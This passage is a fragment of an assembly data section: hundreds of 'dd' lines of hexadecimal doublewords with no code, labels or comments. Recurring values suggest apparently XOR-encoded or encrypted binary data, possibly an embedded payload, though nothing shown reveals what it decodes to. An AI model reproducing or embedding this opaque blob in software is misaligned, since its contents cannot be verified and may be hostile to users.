749DCA6Fh, 4153C3EDh, 0E31611E7h, 1D386F0Bh dd 4F59AB30h, 0E01B1F1Ch, 82DB7538h, 27321566h, 83918965h dd 9278025Fh, 8BB61A4Ch, 4B321566h, 953CFD9h, 23E04EBh dd 84BE1A60h, 4B321566h, 223213E0h, 11B81A66h, 0B321566h dd 573BF4DBh, 0A63D1560h, 113215F6h, 8EB71A06h, 4B321566h dd 223215E3h, 9C3D7466h, 88321567h, 49B79E9Ah, 0D7340643h dd 18D3904Dh, 86DB1375h, 9D321566h, 2665BE0Bh, 93C68714h dd 6C0225FAh, 4BF32E64h, 223246E0h, 10B21A66h, 74321566h dd 679B90EDh, 27DB1375h, 93321566h, 170467C6h, 44321E8Fh dd 97305066h, 9BAAD064h, 6DFA11C3h, 4DD39065h, 2DCE1375h dd 113214E8h, 0DBBE066h, 42211597h, 2348FC9Ah, 1CDB1566h dd 4B321566h, 0C1D802BFh, 926242F1h, 98076010h, 8831C90Eh dd 603E9C66h, 2237FC06h, 830C1566h, 3A32DEEh, 0CD6574BEh dd 16B342A9h, 0CA35C642h, 5B074D20h, 1B74CE61h, 95E79506h dd 70F4A269h, 0A5ADAE35h, 0AFB34A56h, 7D0238C6h, 0F869CD67h dd 88321569h, 2B9314AFh, 22010CC6h, 45F91599h, 0B323821h dd 58BB118Ah, 2DCDAE42h, 0C93B1566h, 3765E93Dh, 44321567h dd 0CB6DED67h, 11321560h, 0DA8FB7Ah, 0C1BB37A1h, 2421306Bh dd 11359469h, 0B3D1566h, 44321567h, 1FB7149Fh, 0F834066Fh dd 8832156Dh, 0B5C14E44h, 0A0D0B6Eh, 0D6A0693Eh, 9B3BF4E3h dd 44321560h, 0AB3D7566h, 11321564h, 6060C3EDh, 4432156Dh dd 77BCBF11h, 0FA83FAA7h, 0D3BB43E6h, 458743Eh, 223E9F69h dd 913D1566h, 88321560h, 44329D69h, 225A1566h, 71321576h dd 0E9FCA793h, 442CD70Eh, 63E9C66h, 0F8327F9Eh, 8832156Fh dd 3FA8092Bh, 1379CF21h, 0B8A7EA38h, 8734067Bh, 443214E5h dd 0DDC7E066h, 21EC8F3h, 84BE1A60h, 24321566h, 4DC6BAD8h dd 83D5AD59h, 15331FFh, 5711BCE3h, 24DB7560h, 0D9321566h dd 8B5D8F9Eh, 0D48D736Eh, 0A73D7402h, 1132156Bh, 88BE1A06h dd 22321566h, 8C5FD6E7h, 0E0B79C07h, 7D340666h, 171619EDh dd 0E1B3F6EFh, 11321562h, 0F36D6E5h, 0BD6E317Ah, 22C3A099h dd 71CA1375h, 8832138Eh, 0CC56FD66h, 0CAD97F4Ch, 1132156Dh dd 7A177F22h, 2B37F8DEh, 7A7B11E2h, 1137FC3Fh, 298C1566h dd 25F93968h, 2E23A099h, 79C71375h, 883233B9h, 0B11629EFh dd 24B71A06h, 90321566h, 2C3AEABEh, 9C851A32h, 0D787EA07h dd 0E4340678h, 30BC90EBh, 4B52137Fh, 223218E7h, 1135FD66h dd 745B1566h, 0AD0EC31Ah, 0DD534FA6h, 9C33EDB6h, 8E211C87h dd 44389169h, 27DB1566h, 0D2321566h, 152AE507h, 44C3A8EDh dd 0A13D1375h, 1132156Eh, 52F09406h, 2500CC20h, 2E23A0EDh dd 1CDB1375h, 4A321566h, 8B402E09h, 0E6657E32h, 8D6C821h dd 8832018Fh, 679D8766h, 92E5BCB2h, 3E66A631h, 67B3B822h dd 0FA8D997h, 4296E617h, 9FBFAD00h, 3DB97493h, 42210CEFh dd 0CA52B893h, 11321575h, 85823851h, 3AC16751h, 394249BDh dd 3B9AAA26h, 84D956Ch, 0AD6A79ADh, 22321572h, 0A3173FE3h dd 12B16F76h, 9E237F1Eh, 8E72A793h, 6E932462h, 883CFC07h dd 0DA531566h, 5E76B582h, 80BBF738h, 18FFCC4Fh, 42FDAA31h dd 64F54A1Ah, 6D34DA9Ah, 74894639h, 45CDEA99h, 79092495h dd 113AFC39h, 0CAD31566h, 879D27C6h, 0E2F314F0h, 48657563h dd 8CDE9407h, 0CD321566h, 48C3152h, 0D00C4D20h, 4EB31180h dd 0D79DA2CFh, 426CE567h, 11321D8Fh, 213F2F66h, 0D02329F8h dd 2CDB749Ah, 0A2321566h, 14D61F30h, 3C4614D4h, 0C76FACD2h dd 0A8B71603h, 0E834066Dh, 0CF530AD2h, 3132E4EBh, 0DA8B7560h dd 617FFD32h, 44321568h, 9CDF86ACh, 48C7FE62h, 0DE847F71h dd 2453F7D1h, 7363749Eh, 41371DFh, 0AC7E1447h, 44BD4C62h dd 3563DE7h, 0DB3473h, 7A321566h, 8A3B8E1Fh, 0B3692DF4h dd 0B537B58Dh, 0BAE91148h, 2C62ECCBh, 70523DDEh, 901611EDh dd 883211A2h, 6C8A3866h, 64BB4706h, 0F8CB4D9Ah, 88321561h dd 7449281Ch, 0AB8C913Fh, 22B9CD3h, 82B01A60h, 0AD321566h dd 22321563h, 0BF002C24h, 77CA96DFh, 44B79069h, 0CA521566h dd 11321560h, 65FEF4Bh, 0FF5433F0h, 2D6BF312h, 0F853EED9h dd 8832156Eh, 76925787h, 23A4D6C9h, 0CCEF2BE7h, 0D3DC8BBh dd 44321531h, 22321E8Fh, 92D79E66h, 4ACC7FC9h, 64BEE553h dd 9C644693h, 16F65C5Ah, 4C7B29DDh, 1AC13C61h, 42690BEFh dd 155A4407h, 0D1321566h, 4B6BDB67h, 22321EEBh, 1134FC66h dd 0E2FE1566h, 0AF96E5FBh, 3BBBA0EFh, 0F8CB1375h, 77CDC171h dd 58BFAD06h, 9A542471h, 0D0537187h, 83DB16A6h, 89321566h dd 13A8A751h, 66DA6F19h, 0D31032Ah, 42211EDFh, 223E9569h dd 953D1566h, 88321560h, 44329769h, 9FB11566h, 172125EFh dd 1BB61A67h, 4B321565h, 223214EBh, 2FB3E066h, 2298BFCCh dd 44979069h, 32DB1566h, 52321566h, 1CA2B61Bh, 677784CBh dd 617097CCh, 7939BA6Ch, 88327F9Fh, 0FE1601EFh, 22321562h dd 1E68C367h, 883212ECh, 45BA1A66h, 0D7321566h, 6F35A833h dd 55C5503Dh, 0A1E3C091h, 2180F0E7h, 907F01DAh, 3BCDEA8Bh dd 2BD4066h, 0A13D489Ah, 11321574h, 883E9F69h, 43DB1566h dd 49321566h, 1C584933h, 7003FCBFh, 0BC03D257h, 0AAF19406h dd 0F86E42E5h, 88321575h, 6622CF6h, 0D3EDDE1Fh, 0B6A333Ah dd 0D293C776h, 2540CA10h, 73DBA235h, 0D9BAECEEh, 61C74E3Fh dd 44321526h, 22339F69h, 20C71566h, 0B9F5249Eh, 4082E99Eh dd 0CAF2FC42h, 0D0814665h, 0A469CD6Eh, 59B51ABFh, 42321566h dd 1132018Fh, 3727CA66h, 53F09571h, 50C657CBh, 699B8A44h dd 70B98EF5h, 2585A0A1h, 227B270Eh, 35369C66h, 8832188Fh dd 0C10F066h, 33DF7956h, 1E2C0D3Dh, 35B196BCh, 42210F13h dd 74B61A67h, 71321567h, 18E99431h, 1B61292Eh, 7053CFEDh dd 66887D30h, 96C384Dh, 0B037F80h, 8C49404h, 98121E56h dd 58BB4B94h, 443EFC3Ch, 0F4011566h, 340EA73Fh, 0CFE88EB2h dd 0F9B144E5h, 2428816Fh, 26B61A66h, 7D321566h, 895888EBh dd 4452137Fh, 0D3B8CBEDh, 87607507h, 443215EAh, 33DB4C66h dd 0A1321566h, 0E14615E4h, 284A69F8h, 0DB93F613h, 1E19563Fh dd 87E1EA07h, 443214E9h, 1DB2E066h, 43B61AF6h, 61321566h dd 44321576h, 7E024D8Ah, 97DFDE51h, 657453C7h, 0EBF57D75h dd 2237A833h, 0FEB31566h, 0B9465BE0h, 83B3FA67h, 13465BE0h dd 2BB1A3Bh, 61321566h, 44321568h, 3D7DF4C0h, 0F73503C9h dd 5005D6F8h, 0EBDBE122h, 42321567h, 77EBA269h, 2D62CAE7h dd 14CA9607h, 22459769h, 9C3D1566h, 8832157Ah, 86851A06h dd 2232078Fh, 0E6897666h, 0DD39B8F0h, 9DCEC1Ah, 6C910648h dd 70B447B3h, 38A6A734h, 1EE23D8Dh, 0E231F5A6h, 9E36128Eh dd 88389B69h, 24521566h, 22BA1A07h, 70321566h, 888C75CCh dd 0C550BEEFh, 0D207E588h, 15B97443h, 6EBB4342h, 4436D3E7h dd 0E4B31566h, 11321562h, 0D41621E1h, 1ECA4506h, 8AC9AD00h dd 0F8CEBF07h, 883215D6h, 6006EA93h, 26F6963Eh, 7752BF9Ah dd 871D89DFh, 443214EBh, 0A253E966h, 1EDBEA19h, 88329AE3h dd 0ACCA7566h, 22321577h, 62528FBDh, 9C8AF670h, 0D9DC1C1Dh dd 94F22F8Ah, 1123FC0Ah dd 5E551566h, 0C8401A3h, 13FE83A2h, 0EECEA77Fh, 0D64F7F4Ah dd 4D8F9607h, 22340FF2h, 111E9169h, 5C71566h, 5DFE55FBh dd 223FFC60h, 0B77B1566h, 4CF0F237h, 15A19B26h, 0DDB8B50Ch dd 0AE3D75B5h, 8835FCBFh, 0B9601566h, 63D5F3E8h, 0A863741Eh dd 88321562h, 0CC60EC67h, 78239DA4h, 0BC1A3Fh, 61321566h dd 4432156Ah, 859B91A4h, 739DBEA3h, 0CD80AD47h, 44C390EDh dd 30DB1375h, 0C5321566h, 696CF855h, 93A6D771h, 141AB893h dd 1133D393h, 8823FCDBh, 0B5041566h, 51D22473h, 671124F0h dd 62016E50h, 694E08CFh, 5DC96FF4h, 142C1A4Bh, 8DCA3C7Ch dd 5E370B69h, 0D9488763h, 113BFC19h, 47D51566h, 0A421B095h dd 0A1B3F163h, 0DBB118Ah, 8836AE42h, 9C1B1566h, 2238FC3Dh dd 78611566h, 0C428A95h, 8EC50A81h, 429FE9CDh, 1CDAE6EDh dd 0B7321566h, 7EFE8404h, 9C50EFC6h, 22E96675h, 0D8637438h dd 2C3C09DEh, 44F2AC36h, 0D033A99Ch, 7474D23Eh, 495061BAh dd 7BCE5B57h, 0EA6BFC9Ah, 0E3DEA99h, 44321561h, 22339569h dd 98CE1566h, 9B2B9CD3h, 43B11A60h, 2D321566h, 113214E7h dd 164E066h, 40F49480h, 0A1321566h, 25B51188h, 9CBB4942h dd 4CBB1A42h, 42321566h, 11329469h, 0E0531566h, 44329566h dd 223E9E69h, 9E3D1566h, 88321560h, 44329069h, 0A53D1566h dd 1132157Fh, 8832018Fh, 711B1066h, 7683FBF3h, 0F353D003h dd 0EEFAFA44h, 6263A23Dh, 2D327F1Dh, 113212E1h, 3547566h dd 25F59E98h, 2F1BA099h, 1ADB1375h, 0F1321566h, 102A54E1h dd 6A9D6494h, 84CDB5F1h, 8E211453h, 44359869h, 0A13D1566h dd 11321567h, 0AC06EA9Fh, 40F6963Ch, 6BBF9E9Eh, 71340676h dd 8832058Fh, 92DF0E66h, 1887DF05h, 863F579h, 86B63CF4h dd 225274BFh, 0A354CDEDh, 705C1C8Dh, 8832AA31h, 7DBB1566h dd 0A11629EDh, 46CB11A2h, 883211D9h, 0CFCB1466h, 0E6B3315Ah dd 11321562h, 40851A06h, 44321E8Eh, 92DE6666h, 1A0CDE74h dd 64CADF2Ah, 44329069h, 436A1566h, 58BF9C9Eh, 61340676h dd 44321560h, 32D71351h, 0FEDB4091h, 71CDEAA1h, 4418EB8Fh dd 4252ED66h, 0F885F2E6h, 88321569h, 8813FB23h, 53FC334Ch dd 24E1EFB5h, 0E92FCA61h, 547B98EDh, 74521375h, 11329869h dd 0E8691566h, 4432018Fh, 0F1E94666h, 62C0FB62h, 625F8BCEh dd 0F00C9FE5h, 59D6D231h, 0CE851ADFh, 0DA617407h, 443215DCh dd 78E19C66h, 1AB9DE67h, 89B91A3Dh, 0BC321566h, 0B63798EFh dd 0F852137Ch, 88321575h, 0B8A6045Ah, 0E7AD7B9Fh, 0F69843F5h dd 0F3488DF3h, 0ADDCBA01h, 22321576h, 4589771Fh, 0EFDE8D11h dd 581AF6A0h, 0E7BCBC1h, 5F0A9407h, 877E5132h, 44329CE3h dd 223BFC66h, 2A111566h, 0E68B42E0h, 22007939h, 6E366DE7h dd 7EB71A48h, 74321566h, 60369436h, 46967D52h, 68F4038h dd 918E418h, 9B7553ABh, 27D7D45Fh, 0D4B3C091h, 0CD386A08h dd 0B88BE0E7h, 0CC1BB4D8h, 40CEEC3Bh, 883213DFh, 0CFFC1466h dd 0E6B3316Ah, 11321562h, 883A9769h, 0C43D1566h, 22321564h dd 94B97406h, 8E2101ABh, 4127FC9Ah, 0A13D1566h, 11321574h dd 8832188Fh, 18AA1266h, 737636F9h, 0D9CA2313h, 9629E7Fh dd 4E33152h, 706C0B87h, 92728EDCh, 0C2C0942Ah, 75607766h dd 72CA4FB0h, 901601EDh, 883211A2h, 0C5527566h, 1740098Ch dd 20537479h, 83B11AAFh, 24321566h, 22329169h, 9A541566h dd 719E74B1h, 0C03D155Ah, 22321429h, 1E1F299Eh, 77CDF8E2h dd 4420FC99h, 62101566h, 94A5C65Ah, 1ACBCD94h, 961FCCAFh dd 0BB18A9Ah, 0C8C49406h, 32A1491h, 6A0E74A5h, 22D39169h dd 2DCB1566h, 0ADB01A56h, 24321563h, 2CDBF0ECh, 0E7321566h dd 0A03083E4h, 0A05F5D43h, 0B1C53B0Fh, 280E74EEh, 77AE9369h dd 0ADCAEA99h, 22321574h, 3C71CE05h, 22C56A02h, 33BA7268h dd 0DC72C18Ah, 500EA0BEh, 8CD49769h, 0CB3D1566h, 2232156Bh dd 11321D8Fh, 0B5A5AE66h, 0CE4EA550h, 2D6829F7h, 0EECD74E0h dd 43D7599h, 44321565h, 99E59E00h, 36A43A4Fh, 876D2907h dd 0BBCD5CE2h, 0AB3D7599h, 11321565h, 61EC9E00h, 44321563h dd 0A08381B2h, 715274D1h, 0E8F9A269h, 0FC547407h, 1E53FDB1h dd 98B01A07h, 70321562h, 4B48299Fh, 0DDCD00E0h, 2BA1A99h dd 61321566h, 44321568h, 0A699E9F8h, 0CE3FFD56h, 85AFFCE5h dd 0C93D8124h, 22321567h, 1568FC9Fh, 0D3D1566h, 44321561h dd 22339D69h, 44CA1566h, 883214DBh, 19D81466h, 0D00BE99Fh dd 15089169h, 0EE521566h, 1753E6EDh, 0DDCDEADDh, 4AE81499h dd 898A459Eh, 45321566h, 0CBC74DA7h, 0EECDEBD4h, 9C8B7306h dd 0DFF4ABE9h, 0A7530B2Bh, 18B61AAFh, 87321562h, 443212E5h dd 23B01A66h, 0E9321566h, 65CBAA06h, 25CA1C1Bh, 227BA0EBh dd 9A3D1375h, 88321577h, 4432198Fh, 3F07B466h, 4B5F1BF6h dd 4115114Ch, 92BB4362h, 16B9E4EFh, 15F69442h, 87321566h dd 443212EAh, 43527566h, 70F1AA69h, 16B4737h, 0AC524CA9h dd 2232156Bh, 0D370EE7Fh, 3CFF20B7h, 2FB2A3DAh, 223DFCD5h dd 0AEAC1566h, 0A6BF5380h, 2342CD35h, 155C94ACh, 40534A7Bh dd 0BE821DD3h, 48B9FD4Eh, 26F69642h, 11349569h, 3521566h dd 25E49E95h, 0DF47BB93h, 11339E69h, 0E8CE1566h, 0A90FAF00h dd 0A35364D7h, 0D241D28Fh, 7DB946Ah, 6D642A2Ah, 0ADF3949Fh dd 90642A2Ah, 4B41D2A7h, 443FFC6Ah, 93571566h, 50CBEC67h dd 7ADF6A7Ch, 15A91696h, 0D56F4C33h, 0E8DB92BBh, 0E731FAE7h dd 0ABB300D3h, 630502F7h, 0D6B3DA4Fh, 0C90502F7h, 2B31D2E7h dd 0A03D00D3h, 1132156Fh, 36E69F06h, 145120DEh, 223BFC07h dd 9E541566h, 0BFDB9805h, 13C62048h, 226E010Eh, 35069C66h dd 61524B39h, 4432156Ah, 5CEAB4C6h, 0ED437434h, 0C8850142h dd 44379969h, 0EE8D1566h, 70734C9Eh, 6196E69Eh, 4432156Ch dd 0FFDAF5E6h, 0DBDC5909h, 952C034h, 92A12F8Ch, 0C5B37367h dd 795311B0h, 88325480h, 0F41611EFh, 0DD759D66h, 9CCAEC3Eh dd 9B325CF3h, 4422FC60h, 0AF221566h, 0C24D02Eh, 75D35155h dd 77EF713Dh, 0A13D6DE2h, 1132156Ah, 88349A69h, 0C03D1566h dd 22321566h, 0FE790EDh, 0DC71375h, 0C6B71AA6h, 0DB321566h dd 0D390A0h, 61751375h, 44321569h, 8D21CF99h, 0AA838ADCh dd 0A09925BBh, 2CCACB52h, 0F6A8B2B4h, 1AD89506h, 88321A8Fh dd 0C1B86D66h, 0CD19F611h, 7EB28F1Dh, 0B27AC9AFh, 0AD87EA07h dd 42340678h, 8F2AC3E7h, 71B977F3h, 77B79807h, 0CB34031Ah dd 1132156Ch, 69D29A0Bh, 3BEBCEE7h, 0DDCAC574h, 19B81AB6h dd 87321566h, 443217EEh, 0CB537566h, 1132156Bh, 4F4899C4h dd 0A695D5B7h, 1DEC19Eh, 0F6BB42E5h, 8836D2E7h, 0ABB31566h dd 22321562h, 4D1629E1h, 611601EFh, 44321576h, 0CD5B22BCh dd 0FC6971EFh, 0C50CA070h, 87E49818h, 0A43DC599h, 1132157Eh dd 8832068Fh, 4D52C566h, 0B46A3733h, 0FA9F631Eh, 0A3400ADAh dd 9BC87BAh, 0A73DD5E3h, 113215B9h, 0E9FC9E06h, 55DF90EDh dd 2BDB1375h, 80321566h, 2842AE28h, 720ED76h, 0A73DD5E3h dd 11321532h, 8832138Fh, 0BEAE7966h, 0E4B18B40h, 223F4E3h dd 0F3D5960h, 4432156Eh, 44D09F06h, 7030DEDFh, 522EFC0Eh dd 0F1CDECBFh, 24210B8Fh, 22B79893h, 0E834031Ah, 0B5851A35h dd 24B31A3Dh, 90321566h dd 3E4A7E97h, 94CD742Eh, 2232128Fh, 7A75A766h, 87A1D9DEh dd 0C5D19C35h, 223211A5h, 15D99466h, 0F321566h, 0CD6E317Ah dd 0A2523172h, 9A54E380h, 58CD74BEh, 44359C69h, 0A13D1566h dd 11321567h, 82BF1A9Ah, 0AD321566h, 22321563h, 7C6A8AEDh dd 87F29092h, 443233E3h, 32B71A66h, 71321566h, 8832128Fh dd 8DB45066h, 0A7A9A053h, 0F8537406h, 883215DEh, 7C8C7306h dd 5092AF63h, 9853617Ah, 92A610E3h, 4BCE7560h, 4A53DDD1h dd 11324B2Ch, 0E81611EFh, 79B3FBE7h, 43C71F0Ch, 1142690Eh dd 0AC069C66h, 4432108Fh, 9B284666h, 94BF8AADh, 8E2487ADh dd 443B9669h, 0D7521566h, 2B90DAE7h, 875371EFh, 443218E4h dd 223AFC66h, 39AA1566h, 413DF69Dh, 94CD9F5Ah, 2232078Fh dd 57201866h, 0A35BCE17h, 0D3FEC94Bh, 0DA11A632h, 1A715CC9h dd 97B71AA6h, 0B8321566h, 22323A8Fh, 1126FC66h, 2911566h dd 0A09E3538h, 1EBD6C68h, 0EE671176h, 78B75829h, 0BB47DAh dd 0A03D0942h, 1132156Ah, 88349A69h, 0C93D1566h, 22321566h dd 1ECB7507h, 883215E9h, 0BDF17466h, 0AFB9EC06h, 17288163h dd 0E9C29E06h, 4418920Eh, 6369C66h, 1123FD06h, 0BD521566h dd 6E63C6F0h, 0F482E52Fh, 2926A2AEh, 0D0E84F1Bh, 0B1534D36h dd 0AB6F4433h, 9152488Eh, 0DB5387B6h, 443229DDh, 0B6D99466h dd 100EB73Ah, 1CF194A5h, 470EB73Ah, 0AB3D4E65h, 1132157Ah dd 88BE1A06h, 0AD321566h, 22321569h, 228FEDD7h, 18DF282h dd 5D1501F2h, 4395BBFEh, 11BAA599h, 9CB91566h, 40F69442h dd 0CB321566h, 11321569h, 8080D8F5h, 0D73D586Fh, 0D5C5CA6h dd 985D43D8h, 9B3DE0F3h, 4BDBE060h, 3C321566h, 0D8B1EA1Fh dd 871F11CEh, 9C260215h, 7367181Dh, 7F4F0CDFh, 5EF39468h dd 0B3625463h, 20DBD4BFh, 0C0C5C491h, 0CCEEE4E7h, 89BB69FDh dd 0D7B3583Fh, 2FA54A63h, 0CD7FF0B7h, 0B3E6D0E7h, 0CA333E29h dd 18DB753Bh, 0D9321566h, 5FC85EB3h, 0BCECB724h, 113FFC07h dd 0A2321566h, 1C15F874h, 8A7B6783h, 4242CAE2h, 883219DDh dd 0CFF11466h, 62E9E75h, 1E36D1E5h, 883204E8h, 443EFC66h dd 6F7F1566h, 6E5E6FEDh, 8DA92069h, 0D1BB11ABh, 24211C8Fh dd 11321B8Fh, 78E6E66h, 705E1C3Fh, 0DC1B49E4h, 0ED9BCB61h dd 0D0162199h, 4436D1E7h, 0A43D1566h, 11321567h, 0AC46EA9Ah dd 60369E42h, 2236D1E7h, 18DB1566h, 0CD321566h, 2EED0B4Eh dd 9A55AB28h, 0C53AC863h, 0DEFA3C44h, 903AC8D8h, 7CC23C44h dd 1132198Fh, 57FF7B66h, 2EE30425h, 0E9626D46h, 0F8B72E62h dd 8734066Fh, 44324FE4h, 25BF1A66h, 1E321566h, 883214E9h dd 0C109EC66h, 24211A93h, 11739669h, 13D1566h, 4432156Ch dd 22B81A06h, 9A321566h, 0E85374A5h, 7B89D2D6h, 436CF183h dd 713211A4h, 9B2C3E7h, 0AD524530h, 22321569h, 0BD9B6E12h dd 0B78C4359h, 0D5C5F96Eh, 2DB1F1E9h, 113215E1h, 0E9537466h dd 12ED9E06h, 2232068Fh, 0F01FBB66h, 2BAAC162h, 0F8D4809Bh dd 0F73938AEh, 69BBAEEBh, 6052743Fh, 44321572h, 0DBC21D65h dd 0F3482CDCh, 12BFEF2Bh, 0F35F3884h, 45A647C5h, 1132068Eh dd 0BC5F8D66h, 0F31628ABh, 0C2B0C536h, 211A92FCh, 343EC36Ah dd 0B48B4D3Eh, 4318D5F3h, 1136F9E7h, 94BB1566h, 4432AE42h dd 7EBB1566h, 71691142h, 8832018Eh, 0B8593E66h, 46AD5200h dd 1B478887h, 0E5391027h, 58FA9073h, 22B51A21h, 4F321566h dd 0CCF5EC07h, 7B941142h, 66B523F1h, 0C1C51142h, 8C1651E1h dd 401661E7h, 0EB5AD53Fh, 11219969h, 86DB1566h, 37321566h dd 660C60Fh, 0FFD813F4h, 0A9A125Eh, 0F967442Eh, 78E9588Bh dd 612521DFh, 0D5DB2404h, 0EF68C9DEh, 7BFA245Eh, 11359669h dd 13D1566h, 44321567h, 0AFBFE99Fh, 17215AEBh, 9DBC1A06h dd 0AD321566h, 22321576h, 6BDEC8D9h, 151CBA41h, 4FB5C6CAh dd 0C8403981h, 11319F69h, 3541566h, 2452749Fh, 0A353E993h dd 2FB5B4A1h, 69CD742Fh, 4432128Fh, 127F8566h, 69A917DDh dd 8820FC06h, 0D3771566h, 0E2D23D71h, 400604BAh, 1C78E63h dd 9066AF84h, 0AB36F9E5h, 118B316Ah, 89321566h, 1D339F97h dd 2DDB2993h, 11332FE2h, 373D7566h, 46B11AA9h, 90321566h dd 2DCA74D4h, 0F0B61A8Eh, 0B8321567h, 0A63D1A5Ah, 1132153Eh dd 8832198Fh, 0C08D1966h, 5F05DB32h, 2D735669h, 87FF29A4h dd 4433C4E2h, 23BA1A66h, 0E8321566h, 0C3DFE5Ah, 44321494h dd 9A8B7306h, 0EAB9732Fh, 63D7407h, 44321576h, 22321E8Fh dd 0C3F6D166h, 6FFD0EABh, 87F3F4C6h, 0AB3D75A5h, 11321567h dd 0D2D9949Ah, 253B1EE0h, 2233AF34h, 0E3331566h, 9CB90FECh dd 40F69642h, 0D284479Eh, 5B9E646h, 8CF69442h, 4B321566h dd 223214EBh, 5DBE966h, 0C3321566h, 0C505F7D2h, 292B5D37h dd 0FFCC8E7h, 62A3ED83h, 0C414C7D9h, 0A73D959Dh, 0EECDEAF7h dd 3361439Fh, 4F8C20BBh, 26164967h, 0FAB34E3Dh, 838C20BBh dd 4432198Fh, 9C4A9B66h, 18C3178Fh, 0F8B18DD2h, 0FD63471Eh dd 22321560h, 106BDFEFh, 0D8CA4FB5h, 443217DEh, 73C21466h dd 113215DFh, 8BF31466h, 246A4C7Fh, 2234FC06h, 2B9B1566h dd 1DC0E5FDh, 259FFEE6h, 22321B8Fh, 3C84A666h, 0D597489Fh dd 267801DFh, 43682F48h, 1132D78Fh, 60807566h, 0EC2536DCh dd 73CE7471h, 0D213CADFh, 86FB9470h, 550C91Dh, 0CBB3C491h dd 98129178h, 91B9E467h, 56BA1A3Fh, 42321566h, 1132128Eh dd 0AAE52E66h, 0E7D77EB4h, 83C6953Dh, 0EAB1ED07h, 61B61A9Dh dd 0AD321566h, 2232156Eh, 1982F709h, 98A475F1h, 9D8D1A06h dd 0A66AFDE7h, 41534945h, 4BBB4D30h, 49BF1A3Eh, 0CB321566h dd 1132156Eh, 7D0F31F5h, 2FA15D1Dh, 0FD5A4636h, 4A696D4Bh dd 69C19425h, 0CD696D4Bh, 0D2334EBEh, 716A0D65h, 0E8E3A269h dd 44329C69h, 0A63D1566h, 11321566h, 85DB7407h, 90321566h dd 695B2E3Ah, 8EFFBBF8h, 50279B0Ch, 0CD36F9E5h, 278D315Ah dd 10321566h, 61CE4A9Dh, 0BBCDEB3Fh, 2232188Fh, 0A46CCC66h dd 294B510h, 0D2979985h, 943DB465h, 90521438h, 1F824295h dd 8BB97328h, 953D7507h, 0EBB973ACh, 0A6D99607h, 0BA159169h dd 27DBEA99h, 5E321566h, 0F4DFAC42h, 4432328Fh, 5CB2E066h dd 943DEB67h, 77CDEB6Bh, 44339E69h, 0CBCE1566h, 11321576h dd 8995A08Fh, 347AF771h, 7C19F111h, 9CA73F1h, 77CE2B8Fh dd 43BC1A99h, 2D321566h, 113214EFh, 925AE066h, 0CD321513h dd 73CA3152h, 0D0B3F4EFh, 88321562h, 4436FCE7h, 2EB51566h dd 1DBB4942h, 8838FC42h, 0D3A51566h, 0C59D831Fh, 7C9448A6h dd 882CC10Eh, 602E9C66h, 2234FC06h, 1B651566h, 7655414Dh dd 4432138Fh, 0C851A366h, 7010EEDFh, 8819450Eh, 600E9C66h dd 2237FD06h, 0FCBD1566h, 0EE5897A4h, 1EDD3ED9h, 0D98D1A31h dd 7752743Fh, 60CC56D8h, 44321575h, 299E8045h, 0CA10C3ECh dd 0C3E6C0C6h, 5DC7BEBDh, 0DEFE5C58h, 0D103743Dh, 61F99E06h dd 44321563h, 0B26F67F7h, 933D74A8h, 88321563h, 0B86B4606h dd 4452B907h, 0AE9BC6E7h, 88321B8Fh, 0C9474B66h, 0F2750BDh dd 61792EF0h, 0E9920EF6h, 44321C8Fh, 51110966h, 316B510Dh dd 64B3F7F7h, 44321562h, 0AA1619EFh, 48D99DA3h, 8CB01A06h dd 22321566h, 0A33BD6DCh, 0E1732BB0h, 0E0547450h, 0CD541DC6h dd 0D2803172h, 4B54C646h dd 883DFC9Ah, 2D051566h, 79569C89h, 2F87038Bh, 5EBF6B2Bh dd 34C995A5h, 24359169h, 1ECE1566h, 88321FE5h, 25527566h dd 3EA9C6E7h, 2D533715h, 8CB61A69h, 24321567h, 235DAE00h dd 1132198Fh, 0E0B1C566h, 42A6A671h, 924E8392h, 0F80E74E4h dd 82809169h, 4CDB1566h, 0F8321566h, 93D584F9h, 870A24BBh dd 443214E5h, 0C90EED66h, 1FD79169h, 87521566h, 443217E6h dd 0CBE79F66h, 1132156Bh, 1810889Ah, 2727CEDBh, 916ED9B5h dd 0F20E74ADh, 8B999169h, 0C83D1566h, 2232156Eh, 11309E69h dd 0E9521566h, 0C03DF75Ah, 22320505h, 11399D69h, 8EDB1566h dd 5F321566h, 5950AC05h, 3506EA29h, 8CF69439h, 4B321566h dd 223213E1h, 4F637566h, 77534F35h, 0C7693152h, 445211A2h dd 775941DEh, 0E9C7F6DCh, 1D162199h, 4236D1E5h, 1123FC06h dd 63051566h, 0F28AF0B8h, 0DA532EF2h, 928F9D2Bh, 3861861h dd 0CF3D74B5h, 22321564h, 0EE53D1D0h, 96C3152h, 443211A2h dd 2239FC66h, 23E61566h, 84A411DDh, 0BAA8A49Ah, 42F1EC14h dd 660BD6E7h, 63D33B8h, 44321564h, 0E5534A30h, 0BA6C0E3h dd 88321360h, 4434FC66h, 0E5A41566h, 0D76CADDBh, 0ABD8AD36h dd 0AF176662h, 623B4554h, 1110FE53h, 2C21467h, 4B524D7Eh dd 223216ECh, 0C6B97366h, 0B8897336h, 0B8534C42h, 0AB36F9E5h dd 0E1843172h, 6168E646h, 44321560h, 95C8FA22h, 0EAB2C0B0h dd 0AEB71AE6h, 0ADCDEA99h, 2232156Ch, 7886BDFFh, 95140EB8h dd 0FB655A25h, 0DDCDEA99h, 0F86DEB67h, 88321561h, 49B29D6Ch dd 0A94500E1h, 213B0E3h, 1DB9ED60h, 42210F63h, 2221FD06h dd 743A1566h, 0A6822D17h, 0BD7F6E7Eh, 36ECAD5Bh, 7E72FE97h dd 3E6CE96Fh, 116474B0h, 7D056DDBh, 355E3C7Eh, 9694862h dd 1B056DA5h, 2222FC7Eh, 1DA11566h, 7D5861CDh, 0AD742FA4h dd 0A7E3271Ch, 0FDB1292Ah, 0AC269C62h, 443213DCh, 78E11466h dd 113E9869h, 53D1566h, 44321560h, 22329269h, 0A8631566h dd 9C014780h, 0E92ED4E7h, 0D333FEAAh, 0E96B0C65h, 0A3DCD5Dh dd 44321556h, 22229669h, 1ADB1566h, 6C321566h, 38986FEh dd 2321A1FCh, 0CB0952ADh, 76659369h, 2452EA99h, 22329D69h dd 903D1566h, 88321566h, 25B2A007h, 4CC5D6E7h, 0FAB340E3h dd 0C9C524A9h, 87B3EE4Fh, 63C524A9h, 7FC5FEE7h, 3A5240E3h dd 0C553E970h, 2232118Ah, 35269C66h, 883213DCh, 1EE13C66h dd 2232018Fh, 2A150366h, 0B40773ECh, 0C3243A90h, 0E91728B2h dd 0BF4F719Dh, 0E89F7394h, 7B1EAD00h, 22321B8Eh, 77DBAF66h dd 288F6A0Ch, 